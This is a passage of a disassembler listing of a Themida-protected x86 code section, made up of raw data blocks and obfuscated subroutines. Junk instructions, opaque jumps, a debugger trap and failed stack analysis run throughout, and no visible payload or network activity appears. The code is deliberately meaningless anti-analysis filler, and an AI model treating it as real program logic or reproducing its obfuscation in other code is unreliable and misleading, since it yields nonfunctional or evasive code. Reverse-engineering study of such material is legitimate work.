0FF88B00h, 882h dd 28E0F00h, 8A000000h, 0B1B966FAh, 0D981663Ch, 840F4509h dd 1Ah, 148A0Fh, 0FE90000h, 88000000h, 0D108EAD0h, 1E6884A3h dd 4DE5F59Fh, 0BB667433h, 8E0F616Fh, 3, 52D9BF0Fh, 9DC1815Fh dd 0E9796B63h, 8, 1F68BBA6h, 0B3BE820Eh, 1F82DB81h, 0BB661E18h dd 0E952392Bh, 0Bh, 543FBA4Fh, 33CB7D5Bh, 5BBFED3Ah, 0FF813B4h dd 683h, 800F00h, 0F000000h, 283h, 0FD58A00h, 98Ah, 3880F00h dd 0F000000h, 0B70FCEB7h, 0E8CA8AF2h, 0Dh, 0EECB6229h dd 5806F0CFh, 2B6AEAFAh, 81665BF4h, 609EFADFh, 0D9C28166h dd 0BE818h, 0F9660000h, 384B03A0h, 6E26CAFAh, 0FB8B668Eh dd 0E952615Fh, 12h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh dd 7DB32EADh, 805A66D3h, 0E2813BF0h, 2A51BD7Bh, 7E9h, 51707200h dd 300FD409h, 0CB8BC38Bh, 978DBA60h, 0CA804E17h, 8B666103h dd 0FC28BC1h, 1381h, 0BE85300h, 97000000h, 0D61584AEh dd 3943875Bh, 5B5F9051h, 0AE960h, 0BBB70000h, 0B57315ABh dd 0B6417D69h, 0F78B460h, 85h, 0F616100h, 48Ah, 98BF6600h dd 0B999BFE0h, 800F60B5h, 18h, 10E8h, 74186100h, 0F89A0361h dd 0D1BF7F5Ch, 80B0EA28h, 5EF38AA5h, 0BEDE8B66h, 896995Ah dd 0AE9h, 9E0E0300h, 0C4D39B7Bh, 661613B3h, 66E84ABFh dd 5B86EF81h, 0E8F8CD80h, 13h, 0C773BF51h, 0B0775C70h dd 2D798CB7h, 41340172h, 0E930148Fh, 10h, 1620A875h, 1177682h dd 2FF2F2E7h, 0E8788852h, 0FC28B5Fh, 0E980D8BFh, 0FBBF0FFCh dd 800FBDB1h, 5, 79F87BBEh, 7E908h, 0F99F0000h, 894B727Fh dd 0AD2EB968h, 8C0F4759h, 3, 0E9CE8B66h, 9, 471BC5D7h dd 6DD9893Ah, 0C3BF0FABh, 0D381C28Bh, 466293A2h, 8B50E7B1h dd 8B6659F9h, 12E9D3h, 4C6F0000h, 0D552CAEEh, 71CAB74Eh dd 95D56397h, 408D980Eh, 0B8DF8166h, 850F67h, 80000000h dd 80607ED9h, 0BF0F98E5h, 0B86661D9h, 12E9328Dh, 67000000h dd 0A20060D1h, 105EFA64h, 0A39068D6h, 0EA5501F5h, 7E960DBh dd 6F000000h, 847FBB2Bh, 54BB2194h, 616D6C5Ah, 6E1AACBFh dd 7F38100h, 6677D610h, 8B66F38Bh, 4A05B8F1h, 0F600028h dd 890FC9BFh, 1, 840F61F9h, 6, 27B9DB81h, 0E85124DDh, 0Dh dd 5746E0FEh, 6117D679h, 2F972DBCh, 880F61h, 5B000000h dd 0CF8B5059h, 0A7F68158h, 0E939D86Bh, 0Dh, 0A2335317h dd 9AD74365h, 1913ECE4h, 0EB81667Ch, 81662751h, 0E8BAEAC9h dd 13h, 1E35782Bh, 0B0A9C742h, 0D327FE49h, 7E01DC50h, 8BD1C4D9h dd 820F59C8h, 5, 33B808BAh, 58C0F05h, 66000000h, 0AA80F181h dd 5481B9F5h, 0B70F63EEh, 0C88B66C3h, 0AE9h, 5B295300h dd 1EDF32F0h, 60A7E244h, 1890Fh, 0B1F90000h, 0BF0F61DDh dd 0FF98BC6h, 483h, 0BFB86600h, 0BE930h, 0A24E0000h, 80D3D7B2h dd 487ADFAEh, 0C9BF0F78h, 0FE9F9h, 57360000h, 593499E9h dd 0AC1D99B0h, 6FB4F653h, 56C78B3Dh, 5ED3B70Fh, 4890Fh dd 0B9660000h, 0D7BB3FECh, 8B0F64CBh, 805152F7h, 585F20CEh dd 38E0Fh, 0B70F0000h, 0D68B66D2h, 0EE9h, 0C56DD00h, 0D26CFF3Ch dd 0ED9E28C5h, 0BED3E5DBh, 2A0B4EBh, 0DE9h, 0F853CE00h dd 0E896C8FFh, 6BD9DF23h, 0B660E11Ah, 6146B335h, 8166F560h dd 61AB96C2h, 7EE08166h, 60FA8BB7h, 0FE9h, 224B3D00h, 0C139D3BEh dd 679E226Bh, 3A0CD4D8h, 0BE6661F9h, 0CE95BDEh, 2D000000h dd 9A623E90h, 0F8638C01h, 6682716Fh, 8166D08Bh, 0B246BDEBh dd 80E78A43h, 8E0FB8D2h, 4, 9DEEB966h, 0FDFBF0Fh, 10E8DBBFh dd 4C000000h, 9856C18Ah, 0AF595D85h, 0B84CC1E0h, 0E8D204B7h dd 7, 79D4B3D7h, 0F82AF1A5h, 8B66585Ah, 0C38166D7h, 80536A55h dd 605A07C8h, 930AAABAh, 61D38B1Ch, 81D18B66h, 0D74C87E0h dd 13E934h, 0CBA30000h, 788FF5E9h, 3850AF89h, 8A1C1D09h dd 0AE6F4F31h, 8166508Ch, 59461ECBh, 0E984B4F8h, 10h, 0B598A60Eh dd 4FA1E100h, 52D855DFh, 9B31FECBh, 0FC3BF0Fh, 1B84h, 13E86000h dd 5D000000h, 25CA73D4h, 0C5C26E12h, 285CF358h, 74245C4Fh dd 6159591Dh, 800Fh, 850F0000h, 1, 6FB966F8h, 9E97Ch, 0A2B10000h dd 485A5BEBh, 0FBACFD8h, 285h, 0B3FA8B00h, 3B6DBFFCh, 0D78B3C21h dd 11E9h, 0E3748200h, 9A1449D6h, 60347A83h, 6458804Dh dd 60F976F8h, 0D2D18166h, 0F78B6685h, 8B665761h, 0AE95FD1h dd 0A5000000h, 4B028BB5h, 7EED53F9h, 38F0F2Dh, 60000000h dd 5E961F5h, 12000000h, 4C089F7Bh, 0CBE7BB66h, 0B0F78B66h dd 17BA66E0h, 0BA665715h, 8A59E0C8h, 0A850FF9h, 0E9000000h dd 5, 0A9C107C7h, 0FC9B0BAh, 0E88h, 9E900h, 0F9A80000h dd 2AD04842h, 6665A9C2h, 0CF7FC781h, 0FE9h, 0E4AF1D00h dd 13FDE9A3h db 0B8h, 0A4h ; --------------------------------------------------------------------------- loc_5D4AB6: ; CODE XREF: Themida_:005C50E6J xor edi, ds:170BD73Ah pusha jmp loc_5D4AD5 ; --------------------------------------------------------------------------- dw 6F51h dd 808ABD0h, 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh ; --------------------------------------------------------------------------- setalc loc_5D4AD5: ; CODE XREF: Themida_:005D4ABDj sbb cx, 0AFCEh loc_5D4ADA: ; CODE XREF: Themida_:005D4B12j popa mov edx, esi sub ecx, 41010CDh jo loc_5D4AEB mov eax, edx loc_5D4AEB: ; CODE XREF: Themida_:005D4AE3j jz loc_5D4AF6 mov ebx, 7D20E3D5h loc_5D4AF6: ; CODE XREF: Themida_:loc_5D4AEBj js loc_5D4B01 pusha cld push esi pop edx popa loc_5D4B01: ; CODE XREF: Themida_:loc_5D4AF6j call sub_5D4B17 in eax, 5Eh imul edx, eax, 7F5B2EC5h db 64h shr eax, 0A4h jecxz short loc_5D4ADA push edi stc pop es ; =============== S U B R O U T I N E ======================================= sub_5D4B17 proc near ; CODE XREF: Themida_:loc_5D4B01p mov dl, 0F2h pop eax movsx edi, ax jmp loc_5D4B29 ; --------------------------------------------------------------------------- adc [edx-7], ch pushf mov cl, 3Ah push ebx loc_5D4B29: ; CODE XREF: sub_5D4B17+6j jmp loc_5D4B3F ; --------------------------------------------------------------------------- dw 0EE01h dd 91FD8765h, 8F1B8D35h, 6EB0F8CEh db 30h, 12h, 4Bh ; --------------------------------------------------------------------------- loc_5D4B3F: ; CODE XREF: sub_5D4B17:loc_5D4B29j mov ebx, 31C94210h mov ecx, edx mov cx, 4B8Eh jmp loc_5D4B60 ; --------------------------------------------------------------------------- db 0EAh dd 0D061A3DCh, 4F34D70Dh, 0EF801AA8h, 36E26D06h ; --------------------------------------------------------------------------- loc_5D4B60: ; CODE XREF: sub_5D4B17+33j mov eax, 2DBB24D7h push eax mov si, ax pop esi pusha jmp loc_5D4B7F ; --------------------------------------------------------------------------- add dh, [ebx+ebx*4+1AE6CBFAh] pop esi xor [edx], ah and eax, 0CAA36F3Ah loc_5D4B7F: ; CODE XREF: sub_5D4B17+54j push edi js $+6 pop edi popa push ecx movsx eax, cx pop edx push eax clc pop ecx mov edi, 5F2FDD37h and eax, 8C89B8Bh jmp loc_5D4BAB ; --------------------------------------------------------------------------- fisttp qword ptr ds:57FFAD02h push 0DA8D81Bh loc_5D4BAB: ; CODE XREF: sub_5D4B17+84j mov dx, cx mov si, bx jnp loc_5D4BBC or dx, 3D7Ch loc_5D4BBC: ; CODE XREF: sub_5D4B17+9Aj jl loc_5D4BC7 sub ax, 36C5h loc_5D4BC7: ; CODE XREF: sub_5D4B17:loc_5D4BBCj pusha mov ecx, ebx mov al, 0D1h popa mov ax, cx mov ecx, edi stc or esi, 4B81DBEAh jmp loc_5D4BEB ; --------------------------------------------------------------------------- dw 9807h dd 44239F5Ch, 0F8367551h db 0C8h, 19h, 8Bh ; --------------------------------------------------------------------------- loc_5D4BEB: ; CODE XREF: sub_5D4B17+C2j mov ebx, 470967A7h adc ecx, 3ABABFCEh pusha jp loc_5D4C0C jmp loc_5D4C0C ; --------------------------------------------------------------------------- pop ebx int 3 ; Trap to Debugger les ebx, [edx] db 64h mov dl, 59h push ss jns short loc_5D4C53 loc_5D4C0C: ; CODE XREF: sub_5D4B17+E0j ; sub_5D4B17+E6j jmp loc_5D4C18 ; --------------------------------------------------------------------------- imul ebx, esp, 6102F9E8h inc ecx loc_5D4C18: ; CODE XREF: sub_5D4B17:loc_5D4C0Cj popa clc jnp loc_5D4C2F call sub_5D4C2B or dh, ch scasb popf sub al, 80h sub_5D4B17 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D4C2B proc near ; CODE XREF: sub_5D4B17+109p mov di, si pop esi loc_5D4C2F: ; CODE XREF: sub_5D4B17+103j pusha jmp loc_5D4C45 ; --------------------------------------------------------------------------- fst qword ptr [eax+66h] push ebx ror byte ptr [edi+7AEB82Dh], 1 mov gs, ax dec ebx das aad 39h loc_5D4C45: ; CODE XREF: sub_5D4C2B+5j mov di, 7CF2h popa jmp loc_5D4C55 ; --------------------------------------------------------------------------- db 27h db 0FCh, 82h, 54h ; --------------------------------------------------------------------------- loc_5D4C53: ; CODE XREF: sub_5D4B17+F3j cmp al, 0E7h loc_5D4C55: ; CODE XREF: sub_5D4C2B+1Fj jmp loc_5D4C6A ; --------------------------------------------------------------------------- dw 6E31h dd 0A4D530A7h, 0E87E2E3Eh, 9B81A15Bh db 0F1h, 0C0h ; --------------------------------------------------------------------------- loc_5D4C6A: ; CODE XREF: sub_5D4C2B:loc_5D4C55j jb loc_5D4C73 movzx edi, dx loc_5D4C73: ; CODE XREF: sub_5D4C2B:loc_5D4C6Aj jo loc_5D4C7E sbb ax, 0A981h loc_5D4C7E: ; CODE XREF: sub_5D4C2B:loc_5D4C73j adc ebx, 6185B39Ah jmp loc_5D4C98 ; --------------------------------------------------------------------------- db 3Fh, 94h, 32h dd 5F15FF7Bh, 0B1717C0Dh, 0AD3967F5h ; --------------------------------------------------------------------------- loc_5D4C98: ; CODE XREF: sub_5D4C2B+59j mov al, 54h pusha push edx add dx, 87E0h pop ecx ja $+6 popa call near ptr loc_5D4CB5+1 rcl byte ptr [edx+0Dh], cl ror dword ptr [esi-5], 1 cdq loc_5D4CB5: ; CODE XREF: Themida_:005D4D06j ; sub_5D4C2B+7Ep mov cl, 59h sub_5D4C2B endp ; sp-analysis failed mov cx, dx jnp $+6 mov ecx, eax mov edi, 357A973Dh mov ax, 3A47h mov dh, 0ADh mov bx, 0FD13h mov edi, ebx push ecx sbb edx, 14F8C04Ah pop ebx push edx pop edi jg loc_5D4CF6 jmp loc_5D4CF6 ; --------------------------------------------------------------------------- db 64h, 68h, 0FEh ; --------------------------------------------------------------------------- xor [edx], al mov dl, 77h db 36h retf 7F8Ah ; --------------------------------------------------------------------------- db 9Dh, 33h ; --------------------------------------------------------------------------- loc_5D4CF6: ; CODE XREF: Themida_:005D4CDEj ; Themida_:005D4CE4j jg loc_5D4D0E call sub_5D4D0A pushf add ah, dh arpl dx, bx jg short loc_5D4CB5 sbb dl, bl ; =============== S U B R O U T I N E ======================================= sub_5D4D0A proc near ; CODE XREF: Themida_:005D4CFCp mov dx, si pop ebx loc_5D4D0E: ; CODE XREF: Themida_:loc_5D4CF6j push esi pusha jmp loc_5D4D24 ; --------------------------------------------------------------------------- db 0F2h, 97h, 0EAh dd 5B85A605h, 6F746E6Ch, 28E2377Dh ; --------------------------------------------------------------------------- loc_5D4D24: ; CODE XREF: sub_5D4D0A+6j or bh, 3 popa pop esi xor bl, 8Dh mov ebx, 363DD349h pusha mov si, 0EF34h mov bx, 958Dh popa mov edx, 577B15B1h push edx jmp loc_5D4D5A ; --------------------------------------------------------------------------- dw 8983h dd 8B6269B0h, 0FADC1301h, 35B0E566h, 0CA5FDCE6h db 69h, 84h ; --------------------------------------------------------------------------- loc_5D4D5A: ; CODE XREF: sub_5D4D0A+37j pop ecx loc_5D4D5B: ; DATA XREF: ___:off_43162Co or edx, 6EFE3B77h mov ecx, 4060DB7Ah jmp loc_5D4D7C ; --------------------------------------------------------------------------- db 0CFh dd 0F5BC494Eh, 0EC00CA84h, 9E521DAFh, 0BE5A9917h ; --------------------------------------------------------------------------- loc_5D4D7C: ; CODE XREF: sub_5D4D0A+5Cj stc call sub_5D4D89 mov edx, 6BE33704h adc al, 0CCh sub_5D4D0A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D4D89 proc near ; CODE XREF: sub_5D4D0A+73p ; FUNCTION CHUNK AT 005D4E40 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005D4E6E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005D4E89 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005D4EA1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005D4EB2 SIZE 00000046 BYTES mov ebx, eax pop edi mov bh, 0DCh movsx edi, dx mov ax, 0DC4Bh mov bh, 39h mov ebx, 78CC7092h adc eax, 6DD1E130h cmc jmp loc_5D4DBC ; --------------------------------------------------------------------------- dd 2E7F4525h, 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h ; --------------------------------------------------------------------------- loc_5D4DBC: ; CODE XREF: sub_5D4D89+1Aj jmp loc_5D4DCD ; --------------------------------------------------------------------------- db 0DAh, 7Bh, 87h dd 0C9766C23h, 0A4192B45h db 82h ; --------------------------------------------------------------------------- loc_5D4DCD: ; CODE XREF: sub_5D4D89:loc_5D4DBCj jmp loc_5D4DDF ; --------------------------------------------------------------------------- dw 0CD27h dd 8AFFAA1Eh, 6BEC7C92h db 0EFh, 3Bh, 0F2h ; --------------------------------------------------------------------------- loc_5D4DDF: ; CODE XREF: sub_5D4D89:loc_5D4DCDj mov ax, 0CF7Ah mov bh, 9Ch jo loc_5D4DEF mov si, 1118h loc_5D4DEF: ; CODE XREF: sub_5D4D89+5Cj push edi xor esi, 3B9AE2Ah pop edi mov ebx, 511D6BAFh cld clc mov dx, ax jmp loc_5D4E0D ; --------------------------------------------------------------------------- dw 3ED5h dd 0FA788A6Dh db 0Ah ; --------------------------------------------------------------------------- loc_5D4E0D: ; CODE XREF: sub_5D4D89+78j mov ecx, edx mov di, cx mov cx, 0Bh push eax mov si, dx pop edi clc jnp loc_5D4E40 call near ptr loc_5D4E37+2 fist word ptr [ebx-45h] pop es xor eax, 475AC8A3h add esp, [eax+2] add bl, [ecx+ebp*4+0Fh] loc_5D4E37: ; CODE XREF: sub_5D4D89+99p mov edi, 0EEEB8121h sub_5D4D89 endp ; sp-analysis failed mov [bp+di], cl pop eax ; START OF FUNCTION CHUNK FOR sub_5D4D89 loc_5D4E40: ; CODE XREF: sub_5D4D89+93j jns loc_5D4E4D push ebx or cx, 3027h pop edi loc_5D4E4D: ; CODE XREF: sub_5D4D89:loc_5D4E40j mov al, 0B6h push eax and esi, 2C573D42h pop esi movsx edx, si movzx eax, ax add bh, 0DDh jmp loc_5D4E6E ; END OF FUNCTION CHUNK FOR sub_5D4D89 ; --------------------------------------------------------------------------- db 99h, 0B9h, 88h dd 46BB64E9h db 0C8h, 87h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D4D89 loc_5D4E6E: ; CODE XREF: sub_5D4D89+D7j mov bl, 81h mov dh, bh jmp loc_5D4E89 ; END OF FUNCTION CHUNK FOR sub_5D4D89 ; --------------------------------------------------------------------------- db 0B0h dd 76A83BBDh, 8906D31Dh, 838A46DDh, 4BDE59EAh db 15h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D4D89 loc_5D4E89: ; CODE XREF: sub_5D4D89+E9j jnb loc_5D4E92 movzx edx, ax loc_5D4E92: ; CODE XREF: sub_5D4D89:loc_5D4E89j jmp loc_5D4EA1 ; END OF FUNCTION CHUNK FOR sub_5D4D89 ; --------------------------------------------------------------------------- db 4Eh dd 10D96277h, 3A8E095Bh db 3Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D4D89 loc_5D4EA1: ; CODE XREF: sub_5D4D89:loc_5D4E92j mov si, 4A49h jmp loc_5D4EB2 ; END OF FUNCTION CHUNK FOR sub_5D4D89 ; --------------------------------------------------------------------------- dw 23B0h dd 2D75FE27h db 76h, 0C8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D4D89 loc_5D4EB2: ; CODE XREF: sub_5D4D89+11Cj pusha add ebx, 7EA07A2Ah movsx edx, bx popa stc cmc mov ebx, edi mov esi, 2099F243h cld sbb dl, 49h and bx, 0F4A4h jp $+6 mov edx, 5E345F8Bh jno loc_5D4EE4 mov bx, 21D1h loc_5D4EE4: ; CODE XREF: sub_5D4D89+151j pusha or ax, 1280h popa pusha mov dx, di call sub_5D4EF9 adc ch, bl jmp short near ptr loc_5D4F38+2 ; END OF FUNCTION CHUNK FOR sub_5D4D89 ; --------------------------------------------------------------------------- db 0D2h ; =============== S U B R O U T I N E ======================================= sub_5D4EF9 proc near ; CODE XREF: sub_5D4D89+166p ja $+6 pop edx popa and al, 7Dh mov edi, 6B945D99h jmp loc_5D4F1A ; --------------------------------------------------------------------------- dw 0CEEBh ; --------------------------------------------------------------------------- fsub qword ptr [edi-422E3E2h] inc esi or ch, bl dec edi loc_5D4F1A: ; CODE XREF: sub_5D4EF9+10j mov ah, cl mov si, 0B421h mov ax, di call near ptr loc_5D4F38+2 int 8Ch ; used by BASIC while in interpreter out dx, eax xchg eax, edx scasd and edx, esp test eax, 0B357B0D7h push esp das inc esp lodsd loc_5D4F38: ; CODE XREF: sub_5D4D89+16Dj ; sub_5D4EF9+2Ap sub edi, 59AFEC80h sub_5D4EF9 endp ; sp-analysis failed jmp loc_5D4F4E ; --------------------------------------------------------------------------- db 0ABh dd 582F3846h, 4FAF4E5Dh db 7Dh, 57h ; --------------------------------------------------------------------------- loc_5D4F4E: ; CODE XREF: Themida_:005D4F3Ej or bl, 0DFh xor al, 2 jmp loc_5D4F60 ; --------------------------------------------------------------------------- db 9Fh, 9, 7Ah dd 0C52A2552h ; --------------------------------------------------------------------------- loc_5D4F60: ; CODE XREF: Themida_:005D4F54j mov esi, 15FECB26h mov bx, si push edi jg loc_5D4F87 jmp loc_5D4F87 ; --------------------------------------------------------------------------- dd 0C48D54D9h, 0E3B4AAC5h, 0DE0D6196h, 0DC99C157h db 0F8h, 3Eh, 1Ah ; --------------------------------------------------------------------------- loc_5D4F87: ; CODE XREF: Themida_:005D4F69j ; Themida_:005D4F6Fj pop ebx or si, 2108h mov al, 4Fh xor ch, 0Ch pusha jz loc_5D4F9D mov cx, 313Ah loc_5D4F9D: ; CODE XREF: Themida_:005D4F93j call near ptr loc_5D4FA2+6 loc_5D4FA2: ; CODE XREF: Themida_:loc_5D4F9Dp mov esp, es:60735949h popa pop esi popa call sub_5D4FC3 cdq lock loopne near ptr loc_5D4FEA+3 mov ecx, 0F590AA19h ; --------------------------------------------------------------------------- dw 0CCF0h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A0h, 25h, 30h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 61h, 0F0h ; =============== S U B R O U T I N E ======================================= sub_5D4FC3 proc near ; CODE XREF: Themida_:005D4FACp mov ecx, 49133150h pop ebx jmp loc_5D4FE1 ; --------------------------------------------------------------------------- dw 0A119h dd 0F8EEAA57h, 70374B50h, 0DAC72D6Ch, 333106CBh db 38h ; --------------------------------------------------------------------------- loc_5D4FE1: ; CODE XREF: sub_5D4FC3+6j sub edx, 495E59E8h mov dx, ax loc_5D4FEA: ; CODE XREF: Themida_:005D4FB2j sbb ebx, 53CB3D46h jmp loc_5D4FFD ; --------------------------------------------------------------------------- db 0E5h, 4Bh, 0EAh dd 785661F1h db 0B6h ; --------------------------------------------------------------------------- loc_5D4FFD: ; CODE XREF: sub_5D4FC3+2Dj jmp loc_5D5008 ; --------------------------------------------------------------------------- dw 64EDh ; --------------------------------------------------------------------------- aas pop esi retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- loc_5D5008: ; CODE XREF: sub_5D4FC3:loc_5D4FFDj adc di, 894Fh xor ax, 24BEh jnb loc_5D501E pusha cld mov cx, dx popa loc_5D501E: ; CODE XREF: sub_5D4FC3+4Fj cmc sub si, 1B96h cmc cmc loc_5D5026: ; CODE XREF: sub_5D4FC3+DAj jns $+6 add ebx, 5AE9D936h cld mov cl, 15h cmc jmp loc_5D504F ; --------------------------------------------------------------------------- shr dword ptr [eax-3CD28F02h], cl mov word ptr [ebp+7F4471D9h], es xchg eax, edi xchg eax, ecx das mov ebx, 3C2C1963h loc_5D504F: ; CODE XREF: sub_5D4FC3+73j jmp loc_5D505F ; --------------------------------------------------------------------------- dd 4C0FA015h, 9BE3278Eh db 0FBh, 94h, 2Eh ; --------------------------------------------------------------------------- loc_5D505F: ; CODE XREF: sub_5D4FC3:loc_5D504Fj mov di, 0D17Bh jmp loc_5D5072 ; --------------------------------------------------------------------------- dd 7112863Ch, 112B5DCFh db 29h, 59h ; --------------------------------------------------------------------------- loc_5D5072: ; CODE XREF: sub_5D4FC3+A0j sbb dl, 73h mov edi, 1ABF1F59h jmp loc_5D508F ; --------------------------------------------------------------------------- db 0C5h ; --------------------------------------------------------------------------- inc edi mov ah, 8Eh dec dword ptr [esi+71026990h] pop edi mov [eax-73h], esi cwde loc_5D508F: ; CODE XREF: sub_5D4FC3+B7j jns $+6 call sub_5D50A0 inc ebp xchg eax, ebx setalc jns short loc_5D5026 inc ecx sub_5D4FC3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D50A0 proc near ; CODE XREF: sub_5D4FC3+D2p ; FUNCTION CHUNK AT 005D5116 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 005D5163 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005D517C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005D51A0 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005D51CF SIZE 00000019 BYTES push eax push edi pop edx pop eax pop edx mov al, dh mov eax, 7E760AA5h sub di, 0DCE9h jmp loc_5D50C3 ; --------------------------------------------------------------------------- dw 59B9h dd 0A42D8383h, 0D25A0556h db 0B3h, 61h, 80h ; --------------------------------------------------------------------------- loc_5D50C3: ; CODE XREF: sub_5D50A0+11j mov esi, 1319F94Ah jmp loc_5D50D6 ; --------------------------------------------------------------------------- sub bl, [esi] sub [eax+13h], edi inc ebp popf jno short loc_5D5116 loc_5D50D6: ; CODE XREF: sub_5D50A0+28j mov cx, bx mov ax, 0E6DBh mov edi, 342695D7h jmp loc_5D50F3 ; --------------------------------------------------------------------------- db 0E0h dd 0AC450039h, 0AB6F729Bh ; --------------------------------------------------------------------------- dec ecx xchg eax, edi stosd loc_5D50F3: ; CODE XREF: sub_5D50A0+42j mov bx, 48BCh mov esi, edi call near ptr loc_5D510A+3 xlat fild dword ptr [edi+7Ah] loopne near ptr loc_5D5125+1 cmc or al, cl setalc outsd dec edi loc_5D510A: ; CODE XREF: sub_5D50A0+59p cmp eax, 0BF66053Eh sub_5D50A0 endp ; sp-analysis failed mov ebp, 0E78A5EDDh mov edx, ecx ; START OF FUNCTION CHUNK FOR sub_5D50A0 loc_5D5116: ; CODE XREF: sub_5D50A0+34j push eax jp loc_5D511F push eax pop ecx loc_5D511F: ; CODE XREF: sub_5D50A0+77j pop esi mov edx, 724A785Ch loc_5D5125: ; CODE XREF: sub_5D50A0+62j mov bx, 3B3Dh sub ebx, 14029712h mov esi, edx mov cx, dx mov ecx, ebx pusha mov ebx, edx popa jg loc_5D5141 cmc loc_5D5141: ; CODE XREF: sub_5D50A0+9Aj mov eax, 63100D80h cld mov cx, 803h jmp loc_5D5163 ; END OF FUNCTION CHUNK FOR sub_5D50A0 ; --------------------------------------------------------------------------- mov dword ptr ds:4E80B363h, 1738DEF4h inc ebx mov [eax+4Eh], esi db 64h mov di, 0F7Eh ; START OF FUNCTION CHUNK FOR sub_5D50A0 loc_5D5163: ; CODE XREF: sub_5D50A0+ABj jl loc_5D517C jge loc_5D517C jmp loc_5D517C ; END OF FUNCTION CHUNK FOR sub_5D50A0 ; --------------------------------------------------------------------------- db 87h, 0DBh ; --------------------------------------------------------------------------- xlat retn 0CED4h ; --------------------------------------------------------------------------- mov bh, 4Ah ; START OF FUNCTION CHUNK FOR sub_5D50A0 loc_5D517C: ; CODE XREF: sub_5D50A0:loc_5D5163j ; sub_5D50A0+C9j ... sub bx, 465Ah movsx eax, dx jnp loc_5D51A0 jmp loc_5D51A0 ; END OF FUNCTION CHUNK FOR sub_5D50A0 ; --------------------------------------------------------------------------- db 0D3h dd 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D50A0 loc_5D51A0: ; CODE XREF: sub_5D50A0+E4j ; sub_5D50A0+EAj xor ebx, 5BD3E0D9h cmc movsx eax, si mov si, ax add cx, 8A47h jnz loc_5D51BA mov ebx, eax loc_5D51BA: ; CODE XREF: sub_5D50A0+112j mov esi, ecx jmp loc_5D51CF ; END OF FUNCTION CHUNK FOR sub_5D50A0 ; --------------------------------------------------------------------------- pop edi inc ecx or ah, 0FBh mov bh, 0F1h movsb sbb al, [esi+ebp*4-65h] les edi, [ebx] ; START OF FUNCTION CHUNK FOR sub_5D50A0 loc_5D51CF: ; CODE XREF: sub_5D50A0+11Cj mov dx, 449Ch jg loc_5D51EB call sub_5D51E8 push 0FFFFFF8Ch add dh, [esi-69h] dec esi loope loc_5D524D in eax, 0E7h ; END OF FUNCTION CHUNK FOR sub_5D50A0 ; =============== S U B R O U T I N E ======================================= sub_5D51E8 proc near ; CODE XREF: sub_5D50A0+139p ; FUNCTION CHUNK AT 005D523F SIZE 00000031 BYTES ; FUNCTION CHUNK AT 005D5282 SIZE 0000001C BYTES mov dl, 0A8h pop edi loc_5D51EB: ; CODE XREF: sub_5D50A0+133j push esi call sub_5D51FA mov esi, 32512B1Dh jbe short loc_5D523F out dx, eax daa sub_5D51E8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D51FA proc near ; CODE XREF: sub_5D51E8+4p movzx edi, cx pop ecx pop esi mov al, 0B6h mov dl, bl mov dx, bx call sub_5D5210 mov ebp, 0C9000D9Bh sub_5D51FA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D5210 proc near ; CODE XREF: sub_5D51FA+Cp movsx eax, ax pop edx mov cl, bl jge loc_5D521F mov di, bx loc_5D521F: ; CODE XREF: sub_5D5210+6j mov ecx, 6709E5DCh mov cx, dx jnp loc_5D5235 jle loc_5D5235 mov al, bl loc_5D5235: ; CODE XREF: sub_5D5210+17j ; sub_5D5210+1Dj jmp near ptr loc_5D5247+4 sub_5D5210 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8752h ; --------------------------------------------------------------------------- sal bl, 1 push esp ; START OF FUNCTION CHUNK FOR sub_5D51E8 loc_5D523F: ; CODE XREF: sub_5D51E8+Ej out dx, eax mov ah, dl cmp eax, 6B811153h loc_5D5247: ; CODE XREF: sub_5D5210:loc_5D5235j bound eax, ds:0DE80E1EEh loc_5D524D: ; CODE XREF: sub_5D50A0+144j mov ch, 66h mov ecx, 60608837h mov bx, cx jg $+6 popa mov edi, 359965DDh popa mov ax, dx movsx esi, ax push esi jmp loc_5D5282 ; END OF FUNCTION CHUNK FOR sub_5D51E8 ; --------------------------------------------------------------------------- jmp short loc_5D527E ; --------------------------------------------------------------------------- dw 4483h dd 2658D2B1h, 8DD4974Ch db 44h, 8Bh ; --------------------------------------------------------------------------- loc_5D527E: ; CODE XREF: Themida_:005D5270j sal dword ptr [edx+esi*8+51h], cl ; START OF FUNCTION CHUNK FOR sub_5D51E8 loc_5D5282: ; CODE XREF: sub_5D51E8+83j pop edi mov ax, 2ED9h mov esi, 3EEB90F3h call sub_5D529E ; --------------------------------------------------------------------------- lea esp, [eax-7083DCA9h] sbb [eax+0FDC76D9h], esi dec eax ; END OF FUNCTION CHUNK FOR sub_5D51E8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5D529E proc near ; CODE XREF: sub_5D51E8+A4p call sub_5D52AA sub_5D529E endp ; --------------------------------------------------------------------------- fistp word ptr [esi-7041D9E6h] stosd ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5D52AA proc near ; CODE XREF: sub_5D529Ep mov di, 478Bh pop edx pop edi mov ch, dh call near ptr sub_5D52C2 sub_5D52AA endp ; sp-analysis failed ; 